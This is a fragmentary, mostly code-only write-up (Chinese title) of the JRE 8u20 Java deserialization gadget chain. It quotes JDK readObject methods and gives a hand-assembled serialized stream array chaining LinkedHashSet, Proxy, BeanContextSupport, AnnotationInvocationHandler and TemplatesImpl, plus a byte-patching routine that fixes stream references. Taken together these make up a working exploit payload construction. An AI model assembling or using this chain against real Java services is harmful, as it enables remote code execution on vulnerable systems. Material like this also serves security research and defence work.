JRE8u20 反序列化利用链及序列化流构造技术分析 - 只能修改一次所以我一定要慎重一点

AuthClass authClass = new AuthClass("123456");
  ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("./authClass.bin"));
  oos.writeObject(authClass);
  oos.writeObject(authClass);
  oos.close();

private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {*
        *var1.defaultReadObject();
        AnnotationType var2 = null;

        try {
            var2 = AnnotationType.getInstance(this.type);
        } catch (IllegalArgumentException var9) {
            throw new InvalidObjectException("Non-annotation type in annotation serial stream");
        }

        Map var3 = var2.memberTypes();
        Iterator var4 = this.memberValues.entrySet().iterator();

private synchronized void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {

    synchronized(BeanContext.globalHierarchyLock) {
        ois.defaultReadObject();

        initialize();

        bcsPreDeserializationHook(ois);

        if (serializable > 0 && this.equals(getBeanContextPeer()))
            readChildren(ois);

        deserialize(ois, bcmListeners = new ArrayList(1));
    }
}
public final void readChildren(ObjectInputStream ois) throws IOException, ClassNotFoundException {
        int count = serializable;

        while (count-- > 0) {
            Object                      child = null;
            BeanContextSupport.BCSChild bscc  = null;

            try {
                child = ois.readObject();
                bscc  = (BeanContextSupport.BCSChild)ois.readObject();
            } catch (IOException ioe) {
                continue;
            } catch (ClassNotFoundException cnfe) {
                continue;
            }


            synchronized(child) {
                BeanContextChild bcc = null;

                try {
                    bcc = (BeanContextChild)child;
                } catch (ClassCastException cce) {
                    // do nothing;
                }

                if (bcc != null) {
                    try {
                        bcc.setBeanContext(getBeanContextPeer());

                       bcc.addPropertyChangeListener("beanContext", childPCL);
                       bcc.addVetoableChangeListener("beanContext", childVCL);

                    } catch (PropertyVetoException pve) {
                        continue;
                    }
                }

                childDeserializedHook(child, bscc);
            }
        }
    }

HashMap map = new HashMap();
map.put(zeroHashCodeStr, templates);

HashMap map = new HashMap();
map.put("f5a5a608", "f5a5a608");

Object[]  ser =new Object[]{
            STREAM_MAGIC,
            STREAM_VERSION,

             //linkedHashset
            TC_OBJECT,
            TC_CLASSDESC,
             LinkedHashSet.class.getName(),
             -2851667679971038690L,//serID
             (byte)SC_SERIALIZABLE,//classDescFlags
             (short)0,
             TC_ENDBLOCKDATA,

             TC_CLASSDESC,
             "java.util.HashSet",-5024744406713321676L,
             (byte)(SC_SERIALIZABLE|SC_WRITE_METHOD),
             (short)0,//fieldCount

             TC_ENDBLOCKDATA,
             TC_NULL,

             //hashSet readObject
             TC_BLOCKDATA,
             (byte) 12,
             (short)0,

             (short)16,

             (short)16192,(short)0,(short)0,
             (short)2,

             //first
             templates,

            //second
             TC_OBJECT,
             TC_PROXYCLASSDESC,
             1,
             Templates.class.getName(),
             TC_ENDBLOCKDATA,
             TC_CLASSDESC,
             Proxy.class.getName(),
             -2222568056686623797L,
             SC_SERIALIZABLE,
             (short)2,

             //fake
             (byte)'L',"fake", TC_STRING,"Ljava/beans/beancontext/BeanContextSupport;",
             (byte)'L',"h",TC_STRING,"Ljava/lang/reflectInvocationHandler;",
             TC_ENDBLOCKDATA,TC_NULL,

             //classData
             TC_OBJECT,
             TC_CLASSDESC,
             BeanContextSupport.class.getName(),
             -4879613978649577204L,
             (byte)(SC_SERIALIZABLE | SC_WRITE_METHOD),
             (short)1,
             (byte)'I',"serializable",
             TC_ENDBLOCKDATA,

             //super class
             TC_CLASSDESC,
             BeanContextChildSupport.class.getName(),
             6328947014421475877L,
             SC_SERIALIZABLE,
             (short)1,
             (byte)'L',"beanContextChildPeer",
             TC_STRING,"Ljava/beans/beancontext/BeanContextChild;",
             TC_ENDBLOCKDATA,
             TC_NULL,

             //classdata
             TC_REFERENCE,baseWireHandle+25, //beanContextChildPeer
             1, //serializable

             //readChildren
             TC_OBJECT,
             TC_CLASSDESC,
             "sun.reflect.annotation.AnnotationInvocationHandler",
             6182022883658399397L,       // serialVersionUID
             (byte) (SC_SERIALIZABLE | SC_WRITE_METHOD),
             (short) 2,                  // field count
             (byte) 'L', "memberValues", TC_STRING, "Ljava/util/Map;",   // memberValues field
             (byte) 'L', "type", TC_STRING, "Ljava/lang/Class;",         // type field
             TC_ENDBLOCKDATA,
             TC_NULL,                    // no superclass

             map,                        // memberValues field value
             Templates.class,            // type field value

             //deserialize
             TC_BLOCKDATA,
             (byte) 4,                   // block length
             0,                          // no BeanContextSupport.bcmListenes
             TC_ENDBLOCKDATA,

             //h

             TC_REFERENCE,baseWireHandle+29,
             TC_ENDBLOCKDATA

        };

        public static byte[] patch(byte[] bytes) {
    for (int i = 0; i < bytes.length; i++) {
        if (bytes[i] == 0x71 && bytes[i+1] == 0x00 && bytes[i+2] == 0x7e && bytes[i+3] ==0x00) {
            i = i + 4;
            System.out.print("Adjusting reference from: " + bytes[i]);
            if (bytes[i] == 1) bytes[i] = 4; //
            if (bytes[i] == 0x0a) bytes[i]=0x0d; //templates
            if (bytes[i] == 2) bytes[i]= 9;

            System.out.println(" to: " + bytes[i]);
        }
    }
    return bytes;
}